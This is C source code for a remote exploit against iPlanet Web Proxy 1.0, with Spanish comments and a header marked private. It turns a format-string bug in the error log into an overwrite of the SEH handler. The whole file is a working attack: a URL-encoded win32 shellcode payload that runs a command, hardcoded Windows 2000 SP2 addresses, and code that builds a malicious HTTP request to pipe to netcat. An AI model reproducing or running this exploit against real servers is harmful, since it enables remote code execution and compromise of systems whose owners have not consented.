/* #### PRIVATE DO NOT DISTRIBUTE #### Expl para el Iplanet Web Proxy 1.0 Format bug en sistema de logs de errores. Modificamos el SEH con la direcci¢n 0x100015F8 que pertenece a ns-proxy35.dll y es un "call %ebx" ya que %ebx apunta al inicio del shellcode y %ebx no se modifica al cambiar al contexto del SEH. Esto es una BETA deberia de funcionar de manera local // Se buscan programadores de shellcodes para win32 <- Ya no! // ref 0xdeadcafe Por cierto, esto deberia de compilar en todos los compiladores de C y se usa: .\iwpx |nc Leonardo Nve aka Fuego Fatuo fatuo@t0s.org Agradecimientos: Dark Raver, Zhodiac, kekabron y Raise por su I+D para win32 al resto de 0xdeadcafe #### PRIVATE DO NOT DISTRIBUTE #### */ #include /* Constante de cadenas (usado para calculos) */ #define LONGPRECAD 25 // strlen("for host .... trying to GET /") /* w2k SP2 */ // SEH: 0x77edf44c #define SEH1 "%4c%f4%ed%77" #define SEH2 "%4d%f4%ed%77" #define SEH3 "%4e%f4%ed%77" #define SEH4 "%4f%f4%ed%77" //call %ebx en ns-proxy35.dll #define CALLEBX 0x100015F8 char shellcode[] = "%b8%e0%41%41%41" "%35%20%41%41%41" "%01%c3" // add $0xb4,%ebx al fin y al cabo "%ff%e3" // jmp %ebx "%90" // NOP por ganduleria "%33%d2%b2%30%8b%ca%80%ea%24%bf%33%f0%2f%80%64%8b" //Generic shellcode for win32 by "%19%2b%fb%8b%1c%13%03%da%8b%03%ff%30%03%c1%8b%30" //kekabron THANKS A LOT "%39%3c%16%74%03%58%eb%f2%2c%18%ff%30" "%5b%53%59%33%c0%66%8b%41%3c%03%c8%8b%41%78%03%c3" "%8b%78%20%03%fb%50%68%69%74%54%68%57%eb%51%50%68" "%6e%45%78%65%57%5f%5e%33%d2%33%c9%b1%04%8b%07%03" "%c3%40%40%39%30%74%06%03%d1%03%f9%eb%f0%58%8b%48" "%1c%03%cb%03%ca%8b%09%03%cb%66%81%fe%6e%45%74%05" "%33%c0%50%ff%d1%58%33%d2%42%52%50%53%b3%7e%3a%18" "%74%04%03%c2%eb%f8%33%db%88%18%5b%ff%d1%eb%b6%e8" "%aa%ff%ff%ff" "ping%20155.54.1.1~"; /* char cadenaformato[]= "%25x%25x%25x%25c%25c%25c%25c%25c" "%2531x" //Si se cambia el shellcode de ha de recalcular "%25n" "%2529x" //Si se cambia el shellcode de ha de recalcular "%25n" "%25235x" //Si se cambia el shellcode de ha de recalcular "%25n" "%2516x" //Si se cambia el shellcode de ha de recalcular "%25n" "%25n"; // <- Produce pag fault. */ char cadenaformato[1000]; char cadenapeticion[6000]; /* calculo_x calcula la cantidad de %25x que hay que poner */ int calculo_x(char *ip) { int i=LONGPRECAD; i+=strlen(ip); i+=(4-(i%4))%4; i=i/4; return(i); } /* calculo_a calcula la cantidad de A's que hay que a¤adir para el alineamiento */ int calculo_a(char *ip) { int i=LONGPRECAD; i+=strlen(ip); i=(4-(i%4))%4; return(i); } void crear_pre_peticion(char *ip) { int a; char *temp[100]; a=calculo_a(ip); memset(cadenapeticion,0,6000); memset(temp,0,100); for(;a>0;a--) strcat(temp,"A"); sprintf(cadenapeticion,"GET /%s%sAAAA%sAAAA%sAAAA%s%s",temp,SEH1,SEH2,SEH3,SEH4,shellcode); return; } /* crear_cad_formato crea la cadena de formato necesaria para el exploit */ void crear_cad_formato(char *ip) { int x,i; char cadx[]="%25x"; char stmp[200]; char *ptr=cadenaformato; int ajuste,tmp,callebx; memset(ptr,0,1000); for(x=calculo_x(ip);x>1;x--) { memcpy(ptr,cadx,4); ptr+=4; } *ptr=0; //Por si acaso .... tmp=strlen(ip)+25+calculo_a(ip); tmp+=16+12+strlen(shellcode); tmp+=(4*calculo_x(ip)); ajuste=tmp; for(i=0;i<4;i++) { tmp=ajuste; tmp&=0xff; callebx=(CALLEBX>>(8*i)); callebx&=0xff; #ifdef DEBUG fprintf(stderr,"debug callebx (%d) = %x %d\n",i,callebx,callebx); fprintf(stderr,"debug tmp (%d) = %x %d\n",i,tmp,tmp); #endif if(tmp>callebx) callebx|=0x100; x=callebx-tmp+0x93; sprintf(stmp,"%%25%dx%%25n",x); strcat(cadenaformato,stmp); ajuste+=x; } strcat(cadenaformato,"%25n"); return; } int main(int argc,char **argv) { char *ip; fprintf(stderr,"iWP remote exploit by Leonardo Nve\nleonardonve@ono.com\n"); #ifdef DEBUG fprintf(stderr,"Long del shellcode: %d\n",strlen(shellcode)); #endif if(argc<2) { fprintf(stderr,"Usage: %s |nc \n",argv[0]); exit(-1); } ip=argv[1]; crear_pre_peticion(ip); #ifdef DEBUG fprintf(stderr,"debug pre peticion: %s\n",cadenapeticion); #endif crear_cad_formato(ip); #ifdef DEBUG fprintf(stderr,"debug cad formato: %s\n",cadenaformato); #endif strcat(cadenapeticion,cadenaformato); strcat(cadenapeticion," HTTP/1.0\n\n"); printf("%s",cadenapeticion); }